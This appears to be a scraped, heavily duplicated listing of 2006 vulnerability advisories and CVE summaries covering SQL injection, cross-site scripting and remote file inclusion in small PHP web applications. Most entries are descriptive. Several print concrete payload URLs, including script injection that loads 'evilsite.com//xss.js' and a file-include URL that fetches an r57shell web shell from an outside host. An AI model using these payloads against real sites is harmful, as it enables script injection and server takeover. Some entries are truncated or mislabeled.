CVE-2006-2987

Multiple SQL injection vulnerabilities in Dominios Europa PICRATE aka TAL RateMyPic 1.0 allow remote attackers to execute arbitrary SQL commands via the 1 id, 2 voteid, and 3 vfiel parameters to a index.php, and via the 4 nick, 5 email, 6 city, 7 messen, and 8 message form field parameters to b...

CVE-2006-2986

Multiple cross-site scripting XSS vulnerabilities in Baby Katie Media a very Simple Car Lister vSCAL 1.0 and b very simple Realty Lister vsREAL 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 lid parameter in index.php and the 2 title parameter in myslideshow.php...

CVE-2006-2985

This CVE concerns SQL injection in IntegraMOD 1.4.0 (and earlier) via the STYLE_URL parameter in index.php. The root cause is unsafely encoded input (double-encoded a single quote), allowing remote attackers to craft SQL commands. Public records (NVD/NVD-derived CVE listing) confirm the affected ...

MIME-tools 5.411 (Entity 5.404)

a xss attack is possible in index.php http://127.0.01/myphp/index.php?lang="scriptalert1337/script...

CVE-2006-2965

Multiple cross-site scripting XSS vulnerabilities in Particle Soft Particle Whois 1.0.3 allow remote attackers to inject arbitrary web script or HTML via 1 the target parameter in index.php and 2 the "input box."...

CVE-2006-2912

Multiple SQL injection vulnerabilities in SelectaPix 1.31 allow remote attackers to execute arbitrary SQL commands via the 1 albumID parameter to a viewalbum.php or b index.php, 2 imageID parameter to c popup.php, or 3 username and 4 password parameters to d admin/member.php...

Sql injection

Multiple SQL injection vulnerabilities in SelectaPix 1.31 allow remote attackers to execute arbitrary SQL commands via the 1 albumID parameter to a viewalbum.php or b index.php, 2 imageID parameter to c popup.php, or 3 username and 4 password parameters to d admin/member.php...

CVE-2006-2912

Multiple SQL injection vulnerabilities in SelectaPix 1.31 allow remote attackers to execute arbitrary SQL commands via the 1 albumID parameter to a viewalbum.php or b index.php, 2 imageID parameter to c popup.php, or 3 username and 4 password parameters to d admin/member.php...

Babykatmedia.com scripts - vSCAL & vREAL - XSS Vulns

vSCAL and vREAL v1.0 Homepage: http://www.babykatiemedia.com/ Effected files: index.php myslideshow.php XSS Vulnerability via lid variable: http://www.example.com/vscal/index.php?page=showlisting&lid=SCRIPT20SRC=evilsite.com//xss.js/SCRIPT XSS Vulnerability via myslideshow.php...

Sql injection

SQL injection vulnerability in index.php in Partial Links 1.2.2 allows remote attackers to execute arbitrary SQL commands via the topic parameter...

CVE-2006-2904

The CVE-2006-2904 entry describes an SQL injection vulnerability in Partial Links 1.2.2, specifically in index.php and exploitable via the topic parameter. The underlying issue is improper input handling that allows an attacker to inject and execute arbitrary SQL commands on the backend database....

CVE-2006-2904

SQL injection vulnerability in index.php in Partial Links 1.2.2 allows remote attackers to execute arbitrary SQL commands via the topic parameter...

Sql injection

SQL injection vulnerability in index.php in Kmita FAQ 1.0 allows remote attackers to execute arbitrary SQL commands via the catid parameter...

CVE-2006-2884

SQL injection vulnerability in index.php in Kmita FAQ 1.0 allows remote attackers to execute arbitrary SQL commands via the catid parameter...

Sql injection

Multiple SQL injection vulnerabilities in index.php in Pixelpost 1-5rc1-2 and earlier allow remote attackers to execute arbitrary SQL commands, and leverage them to gain administrator privileges, via the 1 category or 2 archivedate parameter...

CVE-2006-2889

Multiple SQL injection vulnerabilities in index.php in Pixelpost 1-5rc1-2 and earlier allow remote attackers to execute arbitrary SQL commands, and leverage them to gain administrator privileges, via the 1 category or 2 archivedate parameter...

CVE-2006-2884

CVE-2006-2884 is a SQL injection vulnerability in Kmita FAQ 1.0, triggered via the catid parameter in index.php. The affected component is Kmita FAQ 1.0’s index.php handling of catid, enabling remote attackers to execute arbitrary SQL commands. The vulnerability is rated HIGH (CVSS v2 base 7.5) w...

CVE-2006-2889

CVE-2006-2889 relates to multiple SQL injection flaws in Pixelpost’s index.php, affecting versions 1-5rc1-2 and earlier. The vulnerability is triggered via unsafely constructed queries using user-supplied input from the category and archivedate parameters, enabling remote attackers to execute arb...

CVE-2006-2891

Pixelpost’s admin/index.php (versions 1-5rc1-2 and earlier) contains a cross-site scripting (XSS) flaw that allows remote attackers to inject arbitrary HTML or web script through the loginmessage parameter. The vulnerability is described across multiple sources (NVD and related records) with the ...

Multiple file include exploits in Xtreme Downloads v.1.0

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil & black-code team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...